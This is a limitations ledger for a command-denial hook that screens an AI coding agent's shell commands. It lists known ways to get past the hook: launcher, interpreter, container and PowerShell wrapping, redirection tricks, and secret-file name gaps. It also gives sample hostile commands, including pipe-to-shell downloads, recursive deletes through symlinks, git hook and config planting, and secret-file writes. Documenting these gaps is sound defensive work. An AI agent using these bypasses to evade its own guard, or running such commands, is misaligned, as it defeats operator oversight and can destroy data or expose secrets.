Deny-floor known limitations
The floor is FEATURE-FROZEN (BLUEPRINT §2; decision record: issue #96, ratified in #92).
This file is the ledger of its known bypass families: shapes the argv parser does not model
and — under the freeze — will not grow to model. The SPECS §6 charter matrix still blocks in
canonical form (CI-asserted by the smoke suite). PR #71 merged as 21485bc; its
tests/test_prefix_wrapper_crossproduct.py now pins the named families in both directions and
fails UNEXPECTEDLY FIXED if a documented bypass starts blocking. A new discovery gets one line
here plus a closed issue, never a fix — unless it regresses the charter matrix as literally
written. The walls remain branch protection and restricted toolsets (BLUEPRINT P5); the
floor is a tripwire, not a sandbox. Budget: this ledger caps at 120 lines; overflow rotates
to archive/floor-limitations-<year>.md (BLUEPRINT P3/P4).
Surfaces the floor never sees (it inspects only Bash argv)
- Non-shell secret writers — the floor inspects only Bash argv, so secret-file mutation via structured Write/Edit/notebook/file-MCP payloads or a native-API writer inside an interpreter is not seen; shell-form secret writes remain blocked (#2). The native Claude PowerShell tool surface is the same boundary, tracked open as #88 because its remedy is adapter/matcher wiring, not a floor rule.
- Environment inherited from outside the inspected command — in-line
GIT_CONFIG_*/env forms are parsed, but an argv-only PreToolUse hook cannot see configuration or refspec overrides exported by a parent process or an earlier session (#6). - Git ref/object-selection environment on pushes — a scope declaration rather than a recorded bypass: variables such as
GIT_NAMESPACE,GIT_OBJECT_DIRECTORY,GIT_ALTERNATE_OBJECT_DIRECTORIES,GIT_REPLACE_REF_BASEandGIT_SHALLOW_FILEcan change what an allowed push reads or transmits without changing the resolved remote, and are outside the parser contract (#8). - Detached-worktree state behind a plain removal — whether the target of
git worktree remove <path>holds a detached HEAD (whose commits die with the tree) is repository state, not argv; the graduated allow leans on global law 7’sgit switch -cmandate as the guard, and the loss is measured and pinned by the fixture’s detached leg rather than gated (#122). -
Repository/user config that blinds the removal clean check —
status.showUntrackedFiles=noset in repo-local, user, or system configuration disables the untracked-file refusal that plainworktree remove’s allow leans on, invisibly to argv. A catch-allcore.excludesFileblinds the identical check the same way. The argv-visible spellings are gated on the work-loss ladder (1.6.20): both keys, every-c/--config-envform, and any dynamic-c/--config-envargument whatever key it names — an unquoted value resplits after expansion, so an unwatched key proves nothing about what git actually runs. The ambient-config remainder is this line (#123). Scoped deliberately narrowly: under the feature freeze a limitation line is how this repo declines a fix, so one that over-states the limit ships a fixable gap as a documented non-fix. - Object provenance behind an attributed sensitive-root push — the issue-#48 narrowing lets a
repository declaring
sensitive_data: falsepush its own named local branches to its own configured remote even when the session root is sensitive. Whether those branch objects were first fetched from somewhere else is repository state, not argv: a branch deliberately created from foreign objects rides the exemption. The ratification accepted this residual — the floor attributes names, it does not audit provenance (#48; pinned as allowed bytests/test_sensitive_push_narrowing.py).
Wrapper, launcher, and interpreter laundering
- Wrapper / launcher and uninspectable-file laundering (the standing catch-all) — the argv-only floor models a bounded set of command wrappers and file-writing tools, so charter-irreversible commands relaunched via unmodelled launchers (
screen -dm,firejail,parallel,tmux new-session,at,script -qc,expect -c), via unmodelled writers, or viaxargs -a <file>(a mutating operand supplied by a file or stdin, never visible in argv) are not seen —sourceandbash <file>forms instead FAIL CLOSED as opaque shell input — and canonical forms still block (#9; #5’s residualxargs/stdin case is this line). - Wrapper and shell-shape laundering generally —
bash -c --, multi-heredoc receivers,cmd start, exported Git config, and attachedgh apimethods are now handled, but the parser models a bounded set of shapes and new wrapper/interpreter/encoding forms are expected to pass through unmodelled (#7). - Container-exec and remote-shell wrappers —
docker exec|run,docker compose exec,podman/nerdctl/lxc exec,kubectl exec,distrobox enterandssh [-t] host CMDare not unwrapped, so ~961 of 1,181 deny-corpus payloads pass through them at every tier; only the whole-command secret-file scan survives (#56). - Inline-program interpreters —
perl -e,python -c,node -eandawk 'BEGIN{system()}'are not unwrapped, so an argv-visible payload passes: ~986–990 of 1,181 deny-corpus cases stop denying, and a payload quoted as a string literal of the embedding language also evades the whole-command secret-file-write scan; two quote-bearing charter probes are unmeasured (#67). - Launcher-prefix head anchoring — rules that resolve the command head (git trace-env poisoning, tool
-o/--outputsecret writes, brace-expansion secret targets, glob/regex refspecs, arity confusion) stop firing oncenohup/nice/timeout/env/taskset/flock/watch/wslor a leadingVAR=valueoccupies argv 0; 187 verified pairs, all denying in bare form (#68). cmd /c+ nested POSIX interpreter — a payload insidecmd /c "bash -c '…'"(orsh/dash/pwsh/wsl, and-c-taking launchers likeflock/script/trap/ssh ProxyCommand) is treated as inert single-quoted data by the quote-strip and is not judged; 25 verified pairs, all denying at one nesting level (#69).- Unquoted path-qualified Windows launcher (DOS 8.3 / backslash paths) — POSIX shlex eats the backslashes, so
C:\Progra~1\Git\bin\bash.exe --noprofile --norc -lc '<cmd>'is not recognized as a POSIX-shell head and its payload skips nested inspection (a force-push canary allows); barebashand quoted long paths still deny (#82).
Shell-shape gaps in modelled rules
- PowerShell continuation before a mirror option — a backtick followed by LF or CRLF between
git push --receive-pack=rpand--mirror originremains unclassified in the existing option walk. Both 1.8.0 and 1.8.1 render this receiver refusal as allow under default T2 core; T4 still denies. Native PowerShell argv capture and both runtime hook entry points are measured in #491. The 1.8.1 POSIX backslash-continuation repair does not fix this separate token-provenance boundary. - Quote-masked payloads inside unmodelled PowerShell scriptblock/expression shapes —
if ($true) { iex '<cmd>' },… -and (iex '<cmd>'), and compound assignment$x += iex '<cmd>'reach neither body-inspection call site nor the assignment unwrap, so any charter command (force-push,rm -rfoutside project, pipe-to-shell) is allowed wrapped while denied bare; ~1,062 of the 1,071 smoke deny cases bypass this way on 1.5.3/1.6.0/1.6.1, re-confirmed live against 1.6.12 in the 2026-07-26 triage (#37). - Leading redirection before a shell head —
has_opaque_posix_shell_inputreads its evidence afterstrip_leading_command_redirectionshas consumed it, so< payload.sh bash,<<<'…' bashand< <(…) bashhand a POSIX shell uninspected program text while the canonicalbash < payload.shdenies (#75; non-freeze sub-items spun out to #95). - Unterminated process-substitution operand under a prefix — the fail-closed deny for an undecidable
< <(printf \( )operand fires only when the redirect is token 0; a leading newline, a subshell, ortaskset/flock/watch/wslin front of it drops the deny (#79). - Clobber-redirect prefix (
>|) + glob/character-class force refspec — a>|write-redirect prefix desynchronizes the push argument walk, so glob-spelled force refspecs (git push origin [+]main,--for* main) allow; the explicit--forceflag and the five other redirect spellings still deny (#80). Since floor 1.8.0 a branch force proceeds anyway, so this only matters where the glob spells a tag destination. -
Raw file writes to
.git/config/.git/hooks/*— the floor guardsgit config,git -candGIT_CONFIG_*but not a redirect/Set-Content/teeinto the config or hooks files, so execution- or destination-bearing keys (core.fsmonitor,core.hooksPath,remote.*.push,diff.external, aliases) can be planted and fire on a later benign git command; a configured mirror or tag force/delete on a refspec-less push is still caught byconfigured_bare_push_is_dangerous()— a bounded residual: it covers refspec-less, redirection-only and--all/--tagspushes only, and fails open when the resolver deadline is exhausted (#27). - Branch history is not intercepted client-side at all since floor 1.8.0 (owner decision 2026-10-04, #356 step 2) — at every tier and posture,
sensitive_dataincluded, force, lease,+refspec, branch deletion and--pruneproceed. The server ruleset protects each floored repository’s DEFAULT branch only; another branch, and the default branch of a repository without the ruleset, rely on the reflog and the PR record. - The tag guard judges a bare destination by the LOCAL tags —
git push --force origin v1.0is caught whenrefs/tags/v1.0exists locally. A tag that exists only on the remote (never fetched), or one created by an earlier segment of the same command, reads as a branch; a failed or timed-out lookup reads as “no tag”, the same deliberate fail-open direction as the bare-push config resolver. A repository override (GIT_DIR) or an uncertain cwd makes every bare forced or deleted name count as a tag instead. A bare destination in a configured push refspec is looked up the same way. Undercore, the tag guard is a double-check only when it is the first verdict or the command spellsrefs/tags/,tags/or a mirror inside agit … pushsegment: a bare local-tag name (git push origin :v1.0 --push-o=x) behind an earlier non-core verdict proceeds (#468). - The
coreposture (1.7.0, the default below T4/wave) deliberately lets the work-loss, config-execution and launcher families proceed — by the owner’s decision on #356, default-branch history is guarded by server-side rulesets instead, soreset --hard/clean -fdx, git-c/environment execution laundering (unless the command text spells a core action) and non-sensitive publication are not intercepted client-side. A NEW deny reason whose wording_CORE_REASONdoes not match proceeds undercore; declareguideorwallfor the old rendering. - The
corehint looks only 256 characters past anrm— behind a given-up first verdict in the same segment (a git environment prefix),rm<260 spaces>--recursive /outsideproceeds undercore. The bound keeps the scan linear. A per-segment two-regex check is tracked on #365 (Codex P1 on #372, declined past the review ceiling). - A download piped into a literal inline program is data (1.7.2, #365) —
curl … | python -c "<program>"(andpython3,node -e/-p) no longer denies as pipe-to-shell at any posture unless the program text names an evaluator, process launcher or loader (exec(,eval(,os.system(,subprocess,getattr,child_process, …), is dynamic ($/backtick), or the interpreter runs with an unlisted flag (-ireads stdin as code after-c). The denylist is a tripwire, not a sandbox: an inline program built to launder stdin into code by a route it does not name (os.posix_spawn,asyncio.create_subprocess_*,code.InteractiveInterpreter, node’srepl,yaml.unsafe_load, orPYTHONINSPECT=1in the environment) proceeds. An inline program that WRITES the download somewhere — including a secret-looking path (python3 -c "open('.env','w').write(sys.stdin.read())") — also proceeds: that write was only ever caught through the pipe-to-shell rule, andpython -cwithout a download never was (review of #376). - A downloader behind
taskset,flock,watchorwslis not seen by the pipe-to-shell rule —command_headdoes not unwrap those launchers, sotaskset -c 0 curl -q https://x/i.sh | shallows at every posture; without-qthe curl ambient-config deny still catches it. Pre-existing on 1.7.1 (measured 2026-09-28 during #376, where the new smoke deny cases omit-qlike their neighbours for this reason);nice,envandtimeoutare unwrapped (#378). - Under
core, a quoted heredoc written bycat/teeis data (1.7.2, #365) — the core hint and masked re-check no longer read the body ofcat > f <<'EOF'ortee f <<'EOF'unless it is piped onward, so a script written that way and run later in the SAME command is not double-checked for its content, exactly as a script written with the Write tool never is. A secret-looking name now counts toward the core hint only inside a path-shaped token (a separator or a dot), a$(curl …)only in command position or behind<<<, andpleaseonly in lowercase; prose in a PR body no longer turns a given-up verdict into a double-check.guideandwallread the full text as before. The pipe-into-interpreter hint (every posture) reads at most 512 path characters before the interpreter name, which keeps it linear (60,000 pipes took 15s before the bound); a longer path prefix is not hinted (review of #376). - The masked-segment re-check splits on separators only, quoting and all —
masked_segment_verdictsplits a guide-posture opacity deny’s command on;/&&/||/&/newline with a regex, so a separator inside a QUOTED argument splits too (echo hi > $target; git commit -m 'note; git config core.sshCommand helper'is a spurious double-check, contradicting the “never inspects commit-message text” contract) while a bare|does not split at all (echo hi > $target | git config core.sshCommand helperallows unless_CHARTER_HINTknows the verb). Both directions are pre-existing on 1.6.31/1.6.32 and neither is a regression. A quote-aware splitter covering|was built and REVERTED on PR #267: measured against 1.6.32 it introduced two bypasses (echo hi > $target; echo don\'t; git config core.sshCommand helper; echo foo\'bar, whose paired escaped apostrophes it read as a quoted span; andpowershell -Command '…; git config …', a quoted interpreter payload) and three false positives (a trailing#comment, a backslash-escaped\|, and arithmetic$((a | b))). The second bypass is not reachable from this layer at all:powershell -Command '<program text>'andgit commit -m '<data>'are the same shape to any quote-level rule, and every revision to date gives them the SAME verdict, so closing one re-opens the other. A real repair needs a POSIX tokenizer plus analyzer recursion into interpreter payloads — a feature addition (#268). -
Cross-segment state is lost by the masked-segment re-check — when an early segment denies as pure opacity under the guide posture,
masked_segment_verdictre-checks each LATER segment on its own, so the alias, process-environment, cwd and repository statecheck()builds while walking one command text is not there. A verdict that depends on an earlier segment therefore does not fire: measured on 1.6.31, 1.6.32 and 1.6.33 alike,alias gc='git config core.sshCommand helper'; gcdenies as a double-check whileecho hi > $target; alias gc='git config core.sshCommand helper'; gcallows. Not a 1.6.32 regression — the parent allowed both masked forms — and a segment that is guarded on its own (export GIT_EDITOR=helper) still reaches the analyzer. The reporter’sEDITOR=helper; git commitexample does not reproduce in either direction:EDITOR/VISUALare inherited fallbacks, not mutations, and that command allows bare too (#266). - Links created earlier in the same command — delete containment inspects the filesystem at hook time, not the effects of earlier command segments.
ln -s /outside ./link && rm -rf ./link/, or a Windowsmklink /Jchain, can pass while the link is absent even though the later recursive delete can traverse outside the project. Pre-existing link targets are still checked; the Windows Git Bash junction-deletion effect is measured in #486. This is an unmodelled temporal filesystem boundary, not a claim that every shell follows symlinks identically.
Scope limits of modelled rules
A rule the parser DOES run, whose pattern set is narrower than the charter sentence naming it. Not a shape gap: the shapes were crossed and made no difference.
- Secret-file detection matches NAMES, not extensions —
is_secret_path/_SECRET_FILENAMEmatch.env/.envrcand their.env.<suffix>spellings (suffix alphabet[\w.], so.env.foo-baris unmatched), any path containingcredential, an UNANCHOREDsecret./secrets.substring, theid_rsa|id_dsa|id_ecdsa|id_ed25519key names, as unbounded prefixes inis_secret_path(id_rsaxmatches there; the strict basename predicate behind_SECRET_FILENAMEdoes not), and exactly one extension,*.pem. The measured table intests/test_secret_path_coverage.pyis the authoritative coverage statement; this line summarises it (#244). Thesecrets?\.fragment carries no^/boundary anchor, so it fires at ANY position, not only as a prefix — measured:my-secret.txt,app-secrets.jsonand evennotsecret.txtall match, so real coverage is WIDER than a prefix reading suggests. Every other conventional secret EXTENSION is unmatched, so mutating one allows at every tier. Measured on floor 1.6.27 throughsmoke_test.run_case(the smoke suite’s own subprocess entry point):rm prod.key,rm prod.secret,rm prod.p12,rm prod.pfx,rm prod.jks,rm prod.keystore,rm prod.crt,rm prod.ppk,rm prod.asc,rm prod.gpg,rm prod.kdbx,rm prod.netrcandrm prod.envALLOW at T1/T3/T4, and so does each in itsecho x >write form;rm prod.pem,rm .env,rm .env.production,rm .envrc,rm credentials.json,rm secret.txt,rm secrets.json,rm key.pemandrm id_ed25519DENY at T1/T3/T4. Crossing the uncovered payloads with the canonical, quoted-operand,bash -lc,pwsh -Command,env-prefix and pipeline shapes moved no verdict except where the unrelated pipe-delete rule fires (echo start | rm deploy.keydenies asPiping into Remove-Item/del, for any operand —rm notes.txtdenies identically), so this is a pattern-set boundary, not laundering (#130). -
SPECS §6’s
*secret*glob is honoured only wheresecret/secretsis followed by a dot — the match is positional-free but requires the trailing., somy-secret.txtdenies while the extension spelling does not. Read as a literal glob the charter’s*secret*matchesmy.secret, and the floor does not:echo tok > my.secretallows at every tier whileecho tok > secret.txtdenies. This is a day-one divergence, never a regression — the repo’s first commitc87e906already spelled the rulesecrets?\.|…|\.pem$and its SPECS §6 already said`*credentials*`/`*secret*`— so BLUEPRINT §2 class (c), “a listed must-block form NEWLY allowed”, is not met and the freeze’s default (a ledger line, never a fix) governs. Assumption: §6’s*credentials*/*secret*are read as NAME patterns, matching the shipped implementation, so the extension spelling is out of scope rather than broken. Reason: the OPERATIVE FRAGMENTS have been stable together since commit 1 —c87e906spelled the rule as a localsecret_rxwhose overall text has since changed materially, but itssecrets?\.and\.pem$fragments and §6’s`*credentials*`/`*secret*`wording are unchanged throughout — which makes the implementation better evidence of intent than a strict glob reading. The surrounding regex was NOT byte-stable, and this line no longer claims it was. Reversible by: the owner ruling the other way on #130, which reclassifies this line as a class-(c) charter repair..keyin particular is not free to add — it collides with non-secret files in real ecosystems — so a tightening would owe a false-positive sweep first (#130, open for that ruling). gh apirequest bodies and GraphQL undersensitive_data— the 1.6.28 narrowing reads only argv: a visibility flip inside--input file.json/--input -, a quoted GraphQLcreateRepository(... visibility: PUBLIC), a REST force-update (PATCH .../git/refs/heads/main -F force=true) and repotransfer/forks/generateare not seen (#259; measured on PR #257).- A bare tag name in a remote deletion (#259) — closed for local tags by the 1.8.0 tag guard’s local lookup; the residual is the remote-only tag described above.
What stays actionable under the freeze
False-positive fixes (floor-fp label: #12, #65, #77, #81, #90), the ratified #21 slice
sequence (floor-slice label: #26 → #41 → #62 [folds #17, #32] → #24 → #38/#58 → #48/#59),
charter-scoped #3 (repairable under freeze class (c)),
and everything outside the floor’s rules (doctor, docs, adapter contract, measurement — e.g.
#74, whose fix rides PR #71). Decision record and full triage: issue #96.